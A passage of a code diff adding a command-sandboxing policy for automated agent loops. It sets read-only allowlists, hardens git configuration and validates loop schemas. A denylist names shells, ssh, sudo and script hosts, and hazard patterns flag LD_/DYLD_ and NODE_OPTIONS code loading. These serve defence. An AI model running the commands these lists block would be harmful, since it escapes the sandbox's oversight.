+        info = { mtimeMs: st.mtimeMs, name: j.name, version: j.version };
+      } catch {
+        return "paradigm: an unreadable package.json";
+      }
+      paradigmPkgCache.set(pkg, info);
+    }
+    if (info.name !== "@a-company/paradigm") return "paradigm: the binary on PATH is not @a-company/paradigm";
+    if (typeof info.version !== "string" || !versionAtLeast(info.version, MIN_PARADIGM_VERSION)) {
+      return `paradigm: version ${String(info.version)} on PATH predates ${MIN_PARADIGM_VERSION.join(".")} (its read verbs may write)`;
+    }
+    return null;
+  }
+  return "paradigm: no package.json beside the binary on PATH (a shim)";
+}
+var LORE_ID = /^L-[A-Za-z0-9_-]{1,160}$/;
+var TASK_LS_STATUS = /* @__PURE__ */ new Set(["active", "open", "done", "shelved", "all"]);
+function verbArgs(rest, what, bare, valued = [], value = /^[^-]/) {
+  const ops = [];
+  for (let i = 0; i < rest.length; i++) {
+    const s = rest[i];
+    if (!s.startsWith("-")) ops.push(s);
+    else if (bare.includes(s)) continue;
+    else if (valued.includes(s) && rest[i + 1] !== void 0 && value.test(rest[i + 1])) i++;
+    else no(`${what}: ${s}`);
+  }
+  return ops;
+}
+var paradigmRule = (args, env, name) => {
+  anchoredOnly(env, name);
+  staticOnly(args, name);
+  needCwd(env, name);
+  if (!rootForms(env).some((r) => env.fold(r) === env.fold(env.cwd))) no("paradigm: only with the cwd at a session root");
+  if (!env.native) no("paradigm: a foreign path flavour");
+  const old = paradigmOnPath(env.ctx.searchPath);
+  if (old !== null) no(old);
+  const [sub, ...rest] = args.map((a) => a.lit);
+  if ((sub === "status" || sub === "st") && rest.length === 0) return;
+  if (sub === "doctor") {
+    if (verbArgs(rest, "paradigm doctor", ["--context", "--explain"]).length === 0) return;
+    no("paradigm doctor: an operand");
+  }
+  if (sub === "ripple") {
+    const ops = verbArgs(rest, "paradigm ripple", ["--json", "-q", "--quiet"], ["-d", "--depth"], /^\d{1,3}$/);
+    if (ops.length < 1 || ops.length > 2) no("paradigm ripple: SYMBOL [PATH]");
+    if (ops[1] !== void 0) checkPath(ops[1], env);
+    return;
+  }
+  if (sub === "purpose" && rest[0] === "validate") {
+    const ops = verbArgs(rest.slice(1), "paradigm purpose validate", []);
+    if (ops.length > 1) no("paradigm purpose validate: at most one PATH");
+    if (ops[0] !== void 0) checkPath(ops[0], env);
+    return;
+  }
+  if (sub === "task" && rest[0] === "ls") {
+    const ops = verbArgs(rest.slice(1), "paradigm task ls", ["--json", "--mine"], ["-p", "--priority", "-t", "--tag", "-n", "--limit"]);
+    if (ops.length > 1 || ops[0] !== void 0 && !TASK_LS_STATUS.has(ops[0])) no("paradigm task ls: a status of active|open|done|shelved|all");
+    return;
+  }
+  if (sub === "task" && rest[0] === "show") {
+    const ops = verbArgs(rest.slice(1), "paradigm task show", ["--json"]);
+    if (ops.length !== 1) no("paradigm task show: one REF");
+    if (/[/\\]/.test(ops[0])) no("paradigm task show: a path separator in REF");
+    return;
+  }
+  if (sub === "lore" && (rest[0] === "list" || rest[0] === "ls")) {
+    const ops = verbArgs(rest.slice(1), "paradigm lore list", ["--json"], ["--author", "--type", "--symbol", "--tags", "--from", "--to", "-l", "--limit"]);
+    if (ops.length === 0) return;
+    no("paradigm lore list: an operand");
+  }
+  if (sub === "lore" && rest[0] === "show") {
+    const ops = verbArgs(rest.slice(1), "paradigm lore show", ["--json"]);
+    if (ops.length !== 1) no("paradigm lore show: one ID");
+    if (!LORE_ID.test(ops[0])) no("paradigm lore show: an ID of L- and letters, digits, - or _");
+    return;
+  }
+  no(`paradigm: ${sub === void 0 ? "no verb" : `verb ${[sub, ...rest.slice(0, 1)].join(" ")}`} is not a read verb`);
+};
+var GNOMON_MOD_NAME = /^[a-z][a-z0-9-]{0,63}$/;
+var gnomonRule = (args, env, name) => {
+  anchoredOnly(env, name);
+  staticOnly(args, name);
+  const [sub, ...rest] = args.map((a) => a.lit);
+  const is = (...want) => rest.length === want.length && want.every((w, i) => rest[i] === w);
+  if (sub === "desk" && (is("stats") || is("stats", "--json"))) return;
+  if (sub === "daemon" && is("status")) return;
+  if (sub === "mod" && (is("list") || is("status") || rest.length === 2 && rest[0] === "status" && GNOMON_MOD_NAME.test(rest[1]))) return;
+  if (sub === "rules" && (is("list") || is("list", "--json"))) return;
+  if (sub === "trace" && is("status")) return;
+  if (sub === "replay") {
+    if (verbArgs(rest, "gnomon replay", ["--json"], ["--expect"], /^sha256:[0-9a-f]{64}$/).length === 0) return;
+    no("gnomon replay: a home operand");
+  }
+  no(`gnomon: ${sub === void 0 ? "no verb" : `verb ${[sub, ...rest.slice(0, 1)].join(" ")}`} is not a read verb`);
+};
+var COMMANDS = Object.freeze({
+  cat: reader(),
+  head: reader(),
+  tail: reader(),
+  cut: reader(),
+  cmp: reader(),
+  realpath: reader(),
+  df: reader(),
+  wc: reader("", ["--files0-from"]),
+  ls: reader("LR", ["--dereference", "--recursive"], true),
+  grep: grepRule(),
+  egrep: grepRule(),
+  fgrep: grepRule(),
+  rg: rgRule,
+  fd: fdRule,
+  tree: treeRule,
+  paradigm: paradigmRule,
+  gnomon: gnomonRule,
+  stat: reader("L", ["--dereference"]),
+  du: reader("L", ["--dereference", "--files0-from"], true, "X"),
+  diff: diffRule,
+  echo: echoRule,
+  printf: printfRule,
+  basename: textRule({ short: "az", shortValue: "s", long: ["--multiple", "--zero"], longValue: ["--suffix"] }),
+  dirname: textRule({ short: "z", long: ["--zero"] }),
+  tr: textRule({ short: "cdsCu" }),
+  which: textRule({ short: "as" }),
+  pwd: textRule({ short: "LP" }, 0),
+  true: textRule({ short: "" }, Infinity),
+  false: textRule({ short: "" }, Infinity),
+  test: testRule,
+  "[": testRule,
+  sort: sortRule,
+  uniq: uniqRule,
+  file: fileRule,
+  date: dateRule,
+  jq: jqRule,
+  find: findRule,
+  awk: awkRule,
+  sed: sedRule,
+  git: gitRule
+});
+var ANCHOR_GIT_CONFIG = Object.freeze([
+  ["core.fsmonitor", "false"],
+  ["core.pager", "cat"],
+  ["core.hooksPath", "/dev/null"],
+  ["core.sshCommand", "false"],
+  ["log.showSignature", "false"],
+  ["gpg.program", "false"],
+  ["gpg.ssh.program", "false"],
+  ["gpg.x509.program", "false"],
+  ["credential.helper", ""]
+]);
+
+// src/kernel/supervisor/prefix-policy.ts
+var ALLOW_NPM_TEST_PREFIX = false;
+var INTERPRETER_DENYLIST = /* @__PURE__ */ new Set([
+  "sh",
+  "bash",
+  "zsh",
+  "fish",
+  "dash",
+  "ksh",
+  "csh",
+  "tcsh",
+  "env",
+  "exec",
+  "command",
+  "builtin",
+  "eval",
+  "source",
+  ".",
+  "xargs",
+  "find",
+  "nice",
+  "nohup",
+  "timeout",
+  "sudo",
+  "doas",
+  "su",
+  "time",
+  "watch",
+  "node",
+  "deno",
+  "bun",
+  "python",
+  "python3",
+  "ruby",
+  "perl",
+  "php",
+  "lua",
+  "npx",
+  "pnpx",
+  "bunx",
+  "osascript",
+  "open",
+  "awk",
+  "gawk",
+  "mawk",
+  "nawk",
+  "sed",
+  "ssh",
+  "docker",
+  "podman",
+  "kubectl",
+  "uvx",
+  "pipx",
+  // Aegis LP1 review (gnomon-loops §3.1): Windows script hosts and exec wrappers that run another program
+  "cmd",
+  "powershell",
+  "pwsh",
+  "wscript",
+  "cscript",
+  "mshta",
+  "arch",
+  "script",
+  "stdbuf",
+  "setsid",
+  "chroot",
+  "sandbox-exec",
+  "busybox"
+]);
+var BUILD_TOOLS = /* @__PURE__ */ new Set([
+  "npm",
+  "pnpm",
+  "yarn",
+  "bun",
+  "make",
+  "gmake",
+  "cargo",
+  "go",
+  "gradle",
+  "gradlew",
+  "mvn",
+  "mvnw",
+  "rustc",
+  "rustup",
+  "pip",
+  "pip3",
+  "uv",
+  "poetry",
+  "pdm",
+  "hatch",
+  "bundle",
+  "bundler",
+  "rake",
+  "gem",
+  "composer",
+  "dotnet",
+  "swift",
+  "xcodebuild",
+  "cmake",
+  "ninja",
+  "bazel",
+  "bazelisk",
+  "buck",
+  "meson",
+  "just",
+  "task",
+  "ant",
+  "sbt",
+  "lein",
+  "mix",
+  "tsc",
+  "vitest",
+  "jest",
+  "pytest",
+  "tox",
+  "nox",
+  "corepack"
+]);
+var NPM_TEST_ALLOW = { npm: ["test"], pnpm: ["test"], yarn: ["test"] };
+var BUILD_TOOL_PREFIX_ALLOW = Object.freeze(ALLOW_NPM_TEST_PREFIX ? NPM_TEST_ALLOW : {});
+
+// src/kernel/scheduler/automation.ts
+var MIN_AUTOMATION_PERIOD_MS = 6e4;
+var MAX_AUTOMATION_PERIOD_MS = 10 * 365.25 * 864e5;
+
+// src/kernel/runner/env.ts
+var ENV_ALLOWLIST = Object.freeze(["HOME", "USER", "LOGNAME", "LANG", "LC_ALL", "LC_CTYPE", "TMPDIR", "PATH", "SHELL"]);
+var WINDOWS_EXTRA = Object.freeze([
+  "USERPROFILE",
+  "SYSTEMROOT",
+  "WINDIR",
+  "SystemDrive",
+  "ProgramFiles",
+  "COMSPEC",
+  "PATHEXT",
+  "APPDATA",
+  "LOCALAPPDATA",
+  "TEMP",
+  "CLAUDE_CODE_GIT_BASH_PATH",
+  // W3 (docs/plans/gnomon-windows.md): what Node, Git for Windows and Claude Code read to start on Windows
+  "TMP",
+  "USERNAME",
+  "ProgramData",
+  "ProgramFiles(x86)",
+  "CommonProgramFiles",
+  "HOMEDRIVE",
+  "HOMEPATH",
+  "OS",
+  "PROCESSOR_ARCHITECTURE",
+  "NUMBER_OF_PROCESSORS"
+]);
+var IDENTITY_KEYS = Object.freeze(["USER", "LOGNAME", "SHELL", "TMPDIR"]);
+var LOOP_ENV_NAME = /^[A-Z_][A-Z0-9_]*$/;
+var LOOP_ENV_MAX = 32;
+var LOOP_ENV_HAZARDS = [
+  [/^GNOMON_/i, "a kernel name (a loop child never talks to the kernel)"],
+  [/^(NODE_OPTIONS|NODE_PATH)$/i, "it loads code into the child's runtime"],
+  [/^(DYLD_|LD_)/i, "it loads code into the child's runtime"]
+];
+var KERNEL_SET = new Set([...ENV_ALLOWLIST, ...WINDOWS_EXTRA, "NO_COLOR"].map((k) => k.toUpperCase()));
+function loopEnvHazard(name) {
+  if (!LOOP_ENV_NAME.test(name)) return "not an environment name (A-Z, 0-9 and _, not starting with a digit)";
+  if (KERNEL_SET.has(name.toUpperCase())) return "the kernel sets it for every child";
+  for (const [re, why] of LOOP_ENV_HAZARDS) if (re.test(name)) return why;
+  return null;
+}
+var DARWIN_SESSION_PATH_TAIL = Object.freeze(["/opt/homebrew/bin", "/usr/local/bin", "/usr/bin", "/bin", "/usr/sbin", "/sbin"]);
+var LINUX_SESSION_PATH_TAIL = Object.freeze(["/usr/local/bin", "/usr/bin", "/bin", "/usr/sbin", "/sbin"]);
+
+// src/loops/schema.ts
+var LOOP_ENV_FILES_MAX = 8;
+var LOOP_SCHEMA = "loop:v2";
+var LOOP_COMPILED_VERSION = 1;
+var LOOP_TERMINALS = ["@goal", "@stop", "@pause"];
+var LOOP_ID_MAX = 64;
+var LOOP_CALL_DEPTH_MAX = 3;
+var LOOP_CONTINUOUS_MIN_COOLDOWN_SEC = MIN_AUTOMATION_PERIOD_MS / 1e3;
+var LANDS_IN_8_1 = "LANDS_IN_8_1";
+var LOOP_ARGV0_CHECKER_ALLOW = /* @__PURE__ */ new Set(["tsc", "vitest", "jest"]);
+var LOOP_ALWAYS_PROTECTED = ["node_modules/**", "**/node_modules/**"];
+var LOOP_BUILTINS = [
+  "paradigm.flow-check",
+  "paradigm.flow-affected",
+  "paradigm.ripple",
+  "paradigm.purpose-validate",
+  "paradigm.drift",
+  "paradigm.reindex",
+  "git.clean"
+];
+var LOOP_AUTONOMY2 = ["act", "propose", "observe"];
+var LOOP_DECIDE = ["none", "before-land", "on-stop"];
+var LOOP_NOTIFY_ON = ["goal", "stop", "fail", "landed"];
+var LOOP_NOTIFY_AS = ["toast", "quiet"];
+var LOOP_EVENT_KINDS = ["file.changed", "commit.landed", "session.ended", "card.decided"];
+var LOOP_WEEKDAYS = ["mon", "tue", "wed", "thu", "fri", "sat", "sun"];
+var LOOP_PARSERS = ["tap", "junit", "tsc"];
+var LOOP_JSON_OPS = ["==", "!=", "<", "<=", ">", ">="];
+var LOOP_MODEL_ROLES = ["judge", "summarize", "act"];
+var LOOP_PARADIGM_TOOLS = ["ripple", "flow.check", "flow.affected", "purpose.validate", "drift"];
+var LOOP_INPUT_ROOTS = ["trigger", "last", "day", "loop", "failed", "run"];
+var CHECK_VERDICTS = ["pass", "fail", "error"];
+var MODEL_VERDICTS = ["pass", "fail", "unsure", "unavailable", "error"];
+var CALL_VERDICTS = ["pass", "fail", "unsure", "error"];
+var TOAST_VERDICTS = ["pass"];
+var LOOP_BUDGET_DEFAULTS = Object.freeze({
+  run: Object.freeze({ rounds: 8, wallMin: 60, tokens: 4e5, computeSec: 1800 }),
+  day: Object.freeze({ runs: 24, tokens: 2e6, computeSec: 7200 }),
+  escalations: Object.freeze({ perRun: 0, perDay: 0 })
+});
+var LOOP_DEFAULTS = Object.freeze({
+  autonomy: "act",
+  decide: "none",
+  notify: Object.freeze({ on: Object.freeze(["fail"]), as: "toast" }),
+  catchUp: "skip",
+  debounceSec: 0,
+  effect: "read",
+  timeoutSec: 600,
+  landMaxWaitMin: 120,
+  modelLimits: Object.freeze({ turns: 20, tokens: 8e4 }),
+  minConfidence: 0.7
+});
+var KEBAB = /^[a-z][a-z0-9]*(?:-[a-z0-9]+)*$/;
+var FLOW_ID = /^\$[a-z][a-z0-9]*(?:-[a-z0-9]+)*$/;
+var HHMM = /^(?:[01]\d|2[0-3]):[0-5]\d$/;
+var CALL_REF = /^([a-z][a-z0-9]*(?:-[a-z0-9]+)*)@([0-9a-f]{8})$/;
+var INPUT_REF = /^([a-z][a-z0-9]*(?:-[a-z0-9]+)*)\.([A-Za-z][A-Za-z0-9-]*)$/;
+var DURATION = /^(\d+)\s*(s|m|h|d)?$/;
+var COUNT = /^(\d+(?:\.\d+)?)\s*([kKmM])?$/;
+var DURATION_UNIT = { s: 1, m: 60, h: 3600, d: 86400 };
+var TEN_YEARS_SEC = 10 * 366 * 86400;
+var ANY = "any";
+var isObj = (v) => typeof v === "object" && v !== null && !Array.isArray(v);
+var has = (o, k) => Object.prototype.hasOwnProperty.call(o, k) && o[k] !== void 0;
+var join2 = (base, key) => typeof key === "number" ? `${base}[${key}]` : base ? `${base}.${key}` : key;
+function parseDurationSec(v) {
+  if (typeof v === "number") return Number.isInteger(v) && v >= 0 ? v : null;
+  if (typeof v !== "string") return null;
+  const m = DURATION.exec(v.trim());
+  if (!m) return null;
+  return Number(m[1]) * DURATION_UNIT[m[2] ?? "s"];
+}
+function parseCount(v) {
+  if (typeof v === "number") return Number.isInteger(v) && v > 0 ? v : null;
+  if (typeof v !== "string") return null;
+  const m = COUNT.exec(v.trim());
+  if (!m) return null;
+  const mult = m[2] === void 0 ? 1 : m[2].toLowerCase() === "k" ? 1e3 : 1e6;
+  const n = Math.round(Number(m[1]) * mult);
+  return Number.isSafeInteger(n) && n > 0 ? n : null;
+}
+function baseName(argv0) {
+  const base = argv0.split(/[\\/]/).pop() ?? argv0;
+  return base.toLowerCase().replace(/[. ]+$/, "");
+}
+function programName(argv0) {
+  let name = baseName(argv0);
+  for (let prev = ""; prev !== name; ) {
+    prev = name;
+    name = name.replace(/\.(exe|com)$/, "").replace(/[. ]+$/, "");
+  }
+  return name;
+}
+function argvIssues(argv, path2) {
+  const out = [];
+  if (!Array.isArray(argv) || argv.length === 0) {
+    out.push({ path: path2, code: "ARGV_EMPTY", message: "run must be a non-empty list of literal argv words" });
+    return out;
+  }
+  argv.forEach((w, i) => {
+    const p = join2(path2, i);
+    if (typeof w !== "string" || w.length === 0 || w.length > 4096 || w.includes("\0")) {
+      out.push({ path: p, code: "BAD_TYPE", message: "each argv word is a non-empty string (\u2264 4096 characters, no NUL)" });
+    } else if (w.includes("{{")) {
+      out.push({ path: p, code: "ARGV_TEMPLATED", message: "argv is literal: templates ({{\u2026}}) are never expanded in run" });
+    }
+  });
+  const a0 = argv[0];
+  if (typeof a0 === "string" && a0.length > 0) {
+    const name = programName(a0);
+    if (/\.(cmd|bat)$/.test(baseName(a0))) {
+      out.push({ path: join2(path2, 0), code: "ARGV0_BATCH", message: `${a0}: a .cmd or .bat runs through cmd.exe; name the binary directly` });
+    } else if (name === "" || INTERPRETER_DENYLIST.has(name) || INTERPRETER_DENYLIST.has((a0.split(/[\\/]/).pop() ?? a0).toLowerCase()) || /^python/.test(name)) {
+      out.push({ path: join2(path2, 0), code: "ARGV0_INTERPRETER", message: `${a0}: argv0 must be a direct binary, not a runner, shell or interpreter` });
+    } else if (BUILD_TOOLS.has(name) && !LOOP_ARGV0_CHECKER_ALLOW.has(name)) {
+      out.push({ path: join2(path2, 0), code: "ARGV0_BUILD_TOOL", message: `${a0}: a build tool or package manager runs repo-controlled scripts; name the checker binary directly` });
+    }
+  }
+  return out;
+}
+function callTargets(def) {
+  if (!isObj(def) || !Array.isArray(def.nodes)) return [];
+  const out = [];
+  for (const n of def.nodes) {
+    if (isObj(n) && n.type === "call" && typeof n.loop === "string") {
+      const m = CALL_REF.exec(n.loop);
+      if (m) out.push(m[1]);
+    }
+  }
+  return out;
+}
+var Checker = class {
+  errors = [];
+  warnings = [];
+  err(path2, code, message) {
+    this.errors.push({ path: path2, code, message });
+  }
+  warn(path2, code, message) {
+    this.warnings.push({ path: path2, code, message });
+  }
+  later(path2, what) {
+    this.err(path2, LANDS_IN_8_1, `${what} lands in 8.1`);
+  }
+  /** Refuse keys outside `allowed` (closed shape); `deferred` keys get LANDS_IN_8_1 instead. */
+  closed(o, path2, allowed, deferred = {}) {
+    for (const k of Object.keys(o)) {
+      if (allowed.includes(k)) continue;
+      if (k in deferred) this.later(join2(path2, k), deferred[k]);
+      else this.err(join2(path2, k), "UNKNOWN_KEY", `unknown key "${k}" (allowed: ${allowed.join(", ")})`);
+    }
+  }
+  obj(v, path2, what) {
+    if (isObj(v)) return true;
+    this.err(path2, "BAD_TYPE", `${what} must be a mapping`);
+    return false;
+  }
+  str(v, path2, what, max = 4096) {
+    if (typeof v === "string" && v.length > 0 && v.length <= max) return true;
+    this.err(path2, "BAD_TYPE", `${what} must be a non-empty string (\u2264 ${max} characters)`);
+    return false;
+  }
+  kebab(v, path2, what) {
+    if (typeof v === "string" && v.length <= LOOP_ID_MAX && KEBAB.test(v)) return true;
+    this.err(path2, "BAD_ID", `${what} must be kebab-case, \u2264 ${LOOP_ID_MAX} characters`);
+    return false;
+  }
+  oneOf(v, path2, what, allowed) {
+    if (typeof v === "string" && allowed.includes(v)) return true;
+    this.err(path2, "BAD_ENUM", `${what} must be one of: ${allowed.join(", ")}`);
+    return false;
+  }
+  posInt(v, path2, what) {
+    if (typeof v === "number" && Number.isSafeInteger(v) && v > 0) return true;
+    this.err(path2, "BAD_NUMBER", `${what} must be a positive integer`);
+    return false;
+  }
+  strList(v, path2, what, opts = {}) {
+    if (!Array.isArray(v) || opts.nonEmpty && v.length === 0) {
+      this.err(path2, "BAD_TYPE", `${what} must be a ${opts.nonEmpty ? "non-empty " : ""}list of strings`);
+      return false;
+    }
+    let ok = true;
+    v.forEach((s, i) => {
+      if (!this.str(s, join2(path2, i), `${what} entry`)) ok = false;
+    });
+    return ok;
+  }
+  glob(v, path2) {
+    if (!this.str(v, path2, "a path glob", 512)) return;
+    if (v.startsWith("/") || /^[A-Za-z]:[\\/]/.test(v) || v.startsWith("~") || v.includes("\\") || v.split("/").includes("..")) {
+      this.err(path2, "BAD_GLOB", "a path glob is repo-relative (no absolute path, ~, \\ or .. segment)");
+    }
+  }
+  duration(v, path2, what) {
+    const sec = parseDurationSec(v);
+    if (sec === null || sec > TEN_YEARS_SEC) {
+      this.err(path2, "BAD_DURATION", `${what} must be a duration like 90s, 30m, 2h, 1d or integer seconds`);
+      return null;
+    }
+    return sec;
+  }
+  count(v, path2, what) {
+    const n = parseCount(v);
+    if (n === null) this.err(path2, "BAD_BUDGET", `${what} must be a positive count like 80000, 400k or 2M`);
+    return n;
+  }
+  /** TD-2026-10-23-268: a node's `env` list: ≤ LOOP_ENV_MAX distinct names, none a hazard (loopEnvHazard). */
+  envList(v, path2) {
+    if (!Array.isArray(v)) {
+      this.err(path2, "BAD_TYPE", "env is a list of environment variable names");
+      return;
+    }
+    if (v.length > LOOP_ENV_MAX) this.err(path2, "ENV_TOO_MANY", `env names at most ${LOOP_ENV_MAX} variables`);
+    const seen = /* @__PURE__ */ new Set();
+    v.forEach((n, i) => {
+      const p = join2(path2, i);
+      if (typeof n !== "string" || !LOOP_ENV_NAME.test(n) || n.length > 128) {
+        this.err(p, "BAD_ENV_NAME", "an env name matches ^[A-Z_][A-Z0-9_]*$ (\u2264 128 characters)");
+        return;
+      }
+      if (seen.has(n)) this.err(p, "ENV_DUPLICATE", `${n} is named twice`);
+      seen.add(n);
+      const why = loopEnvHazard(n);
+      if (why) this.err(p, "ENV_REFUSED", `${n} is refused: ${why}`);
+    });
+  }
+  /** TD-2026-10-23-268: the loop's env files: ≤ LOOP_ENV_FILES_MAX distinct paths, repo-relative (no ..), ~/… or absolute. */
+  envFiles(v, path2) {
+    if (!Array.isArray(v)) {
+      this.err(path2, "BAD_TYPE", "envFiles is a list of paths");
+      return;
+    }
+    if (v.length > LOOP_ENV_FILES_MAX) this.err(path2, "ENV_FILES_TOO_MANY", `envFiles names at most ${LOOP_ENV_FILES_MAX} files`);
+    const seen = /* @__PURE__ */ new Set();
+    v.forEach((f, i) => {
+      const p = join2(path2, i);
+      if (typeof f !== "string" || f.length === 0 || f.length > 1024 || /[\0\r\n]/.test(f)) {
+        this.err(p, "BAD_ENV_FILE", "an env file is a non-empty path (\u2264 1024 characters, one line)");
+        return;
+      }
+      const abs = f.startsWith("/") || /^[A-Za-z]:[\\/]/.test(f);
+      const home = f.startsWith("~/");
+      if (!abs && !home && (f.startsWith("~") || f.includes("\\") || f.split("/").includes(".."))) {
+        this.err(p, "BAD_ENV_FILE", "an env file is repo-relative (no .. segment or \\), ~/\u2026 or absolute");
+        return;
+      }
+      const base = f.split(/[\\/]/).pop() ?? f;
+      if (isConfigNamedEnvFile(base)) this.err(p, "ENV_FILE_CONFIG", `${base} is a config file tools run; name a dotenv file (such as .env.loop) instead`);
+      if (seen.has(f)) this.err(p, "ENV_FILE_DUPLICATE", `${f} is named twice`);
+      seen.add(f);
+    });
+  }
+  literalArgs(v, path2) {
+    if (typeof v === "string") {
+      if (v.includes("{{")) this.err(path2, "ARGV_TEMPLATED", "builtin args are literal: templates ({{\u2026}}) are never expanded");
+    } else if (Array.isArray(v)) {
+      v.forEach((x, i) => this.literalArgs(x, join2(path2, i)));
+    } else if (isObj(v)) {
+      for (const [k, x] of Object.entries(v)) this.literalArgs(x, join2(path2, k));
+    } else if (!(v === null || typeof v === "number" || typeof v === "boolean")) {
+      this.err(path2, "BAD_TYPE", "builtin args hold JSON values only");
+    }
+  }
+};
+function loopContentHash(parsed) {
+  return createHash("sha256").update(canonicalJson(parsed)).digest("hex");
+}
+function argvPathWords(argv) {
+  const out = [];
+  for (const w of argv) {
+    if (typeof w !== "string") continue;
+    const v = w.startsWith("-") ? w.includes("=") ? w.slice(w.indexOf("=") + 1) : "" : w;
+    if (!v || v.startsWith("-") || v.startsWith("/") || v.startsWith("~") || v.includes("\\") || /^[A-Za-z]:/.test(v)) continue;
+    if (v.split("/").includes("..")) continue;
+    if (v.includes("/") || /\.[A-Za-z0-9]+$/.test(v)) out.push(v.replace(/^(\.\/)+/, ""));
+  }
+  return out;
+}
+function ownProtected(def) {
+  if (!isObj(def)) return [];
+  const out = [];
+  if (isObj(def.goal) && Array.isArray(def.goal.inputs)) {
+    for (const x of def.goal.inputs) if (typeof x === "string") out.push(x);
+  }
+  if (Array.isArray(def.nodes)) {
+    for (const n of def.nodes) if (isObj(n) && n.type === "check" && Array.isArray(n.run)) out.push(...argvPathWords(n.run));
+  }
+  if (Array.isArray(def.envFiles)) {
+    for (const f of def.envFiles) {
+      if (typeof f !== "string" || f.startsWith("/") || f.startsWith("~") || /^[A-Za-z]:[\\/]/.test(f) || f.includes("\\")) continue;
+      const rel = f.split("/").filter((x) => x !== "" && x !== ".").join("/");
+      if (rel && !rel.split("/").includes("..")) out.push(rel);
+    }
+  }
+  return out;
+}
+var knownMap = (k) => k ? k instanceof Map ? new Map(k) : new Map(Object.entries(k)) : void 0;
+function nonFinite(c, v, path2, depth = 0) {
+  if (depth > 64) return;
+  if (typeof v === "number" && !Number.isFinite(v)) c.err(path2, "NON_FINITE", "numbers are finite (no .nan or .inf)");
+  else if (Array.isArray(v)) v.forEach((x, i) => nonFinite(c, x, join2(path2, i), depth + 1));
+  else if (isObj(v)) for (const [k, x] of Object.entries(v)) nonFinite(c, x, join2(path2, k), depth + 1);
+}
+function validateInto(c, input, opts) {
+  if (!c.obj(input, "", "a loop definition")) return;
+  const d = input;
+  nonFinite(c, d, "");
+  const scope = opts.scope ?? "repo";
+  c.closed(d, "", ["schema", "id", "title", "repo", "flows", "triggers", "autonomy", "notify", "decide", "budgets", "goal", "land", "redact", "envFiles", "network", "start", "nodes"], {
+    claude: "the Claude subscription opt-in (claude:)",
+    envelope: "the loop envelope",
+    envelopeId: "the loop envelope"
+  });
+  if (d.schema !== LOOP_SCHEMA) c.err("schema", "BAD_SCHEMA", `schema must be "${LOOP_SCHEMA}"`);
+  if (!has(d, "id")) c.err("id", "REQUIRED", "id is required");
+  else c.kebab(d.id, "id", "id");
+  if (has(d, "title")) c.str(d.title, "title", "title", 200);
+  if (scope === "repo" && has(d, "repo")) c.err("repo", "REPO_SCOPE", "repo is for personal loops only; a repo loop runs in its own repo");
+  if (scope === "personal") {
+    if (!has(d, "repo")) c.err("repo", "REQUIRED", "a personal loop names its repo (an absolute path)");
+    else if (c.str(d.repo, "repo", "repo") && !(d.repo.startsWith("/") || /^[A-Za-z]:[\\/]/.test(d.repo))) {
+      c.err("repo", "BAD_PATH", "repo must be an absolute path");
+    }
+  }
+  const flowRefs = [];
+  if (has(d, "flows") && c.strList(d.flows, "flows", "flows")) {
+    d.flows.forEach((f, i) => {
+      if (!FLOW_ID.test(f)) c.err(join2("flows", i), "BAD_ID", "a flow is a $kebab-id");
+      else flowRefs.push({ path: join2("flows", i), flow: f });
+    });
+  }
+  if (has(d, "autonomy")) c.oneOf(d.autonomy, "autonomy", "autonomy", LOOP_AUTONOMY2);
+  if (has(d, "redact") && typeof d.redact !== "boolean") c.oneOf(d.redact, "redact", "redact", ["on", "off"]);
+  if (has(d, "network") && typeof d.network !== "boolean") c.oneOf(d.network, "network", "network", ["on", "off"]);
+  if (has(d, "envFiles")) c.envFiles(d.envFiles, "envFiles");
+  if (has(d, "decide")) c.oneOf(d.decide, "decide", "decide", LOOP_DECIDE);
+  if (has(d, "notify") && c.obj(d.notify, "notify", "notify")) {
+    c.closed(d.notify, "notify", ["on", "as"]);
+    if (has(d.notify, "on")) {
+      if (!Array.isArray(d.notify.on)) c.err("notify.on", "BAD_TYPE", "notify.on must be a list");
+      else d.notify.on.forEach((x, i) => c.oneOf(x, join2("notify.on", i), "notify.on entry", LOOP_NOTIFY_ON));
+    }
+    if (has(d.notify, "as")) c.oneOf(d.notify.as, "notify.as", "notify.as", LOOP_NOTIFY_AS);
+  }
+  const budgets = has(d, "budgets") && c.obj(d.budgets, "budgets", "budgets") ? d.budgets : void 0;
+  if (budgets) {
+    c.closed(budgets, "budgets", ["run", "day", "escalations"]);
+    const block = (k, ints, counts) => {
+      if (!has(budgets, k) || !c.obj(budgets[k], join2("budgets", k), `budgets.${k}`)) return;
+      const b = budgets[k];
+      c.closed(b, join2("budgets", k), [...ints, ...counts]);
+      for (const f of ints) if (has(b, f)) c.posInt(b[f], `budgets.${k}.${f}`, `budgets.${k}.${f}`);
+      for (const f of counts) if (has(b, f)) c.count(b[f], `budgets.${k}.${f}`, `budgets.${k}.${f}`);
+    };
+    block("run", ["rounds", "wallMin", "computeSec"], ["tokens"]);
+    block("day", ["runs", "computeSec"], ["tokens"]);
+    if (has(budgets, "escalations") && c.obj(budgets.escalations, "budgets.escalations", "budgets.escalations")) {
+      const e = budgets.escalations;
+      c.closed(e, "budgets.escalations", ["perRun", "perDay"]);
+      for (const f of ["perRun", "perDay"]) {
+        if (has(e, f) && !(typeof e[f] === "number" && Number.isSafeInteger(e[f]) && e[f] >= 0)) {
+          c.err(`budgets.escalations.${f}`, "BAD_NUMBER", `budgets.escalations.${f} must be a non-negative integer`);
+        }
+      }
+    }
+  }
+  const runB = budgets && isObj(budgets.run) ? budgets.run : void 0;
+  const dayB = budgets && isObj(budgets.day) ? budgets.day : void 0;
+  const g = { nodeTypes: /* @__PURE__ */ new Map(), nodeIndex: /* @__PURE__ */ new Map(), nodeHasRun: /* @__PURE__ */ new Set(), callees: [] };
+  const edges = [];
+  if (!has(d, "nodes")) c.err("nodes", "REQUIRED", "nodes is required");
+  else if (!Array.isArray(d.nodes) || d.nodes.length === 0) c.err("nodes", "BAD_TYPE", "nodes must be a non-empty list");
+  else {
+    d.nodes.forEach((n, i) => {
+      if (isObj(n) && typeof n.id === "string" && KEBAB.test(n.id)) {
+        if (g.nodeTypes.has(n.id)) c.err(join2(join2("nodes", i), "id"), "DUPLICATE_ID", `node id "${n.id}" is used twice`);
+        else {
+          g.nodeTypes.set(n.id, typeof n.type === "string" ? n.type : "?");
+          g.nodeIndex.set(n.id, i);
+        }
+      }
+    });
+    d.nodes.forEach((n, i) => validateNode(c, n, join2("nodes", i), g, edges));
+  }
+  const goalEdges = [];
+  for (const e of edges) {
+    if (typeof e.target !== "string") {
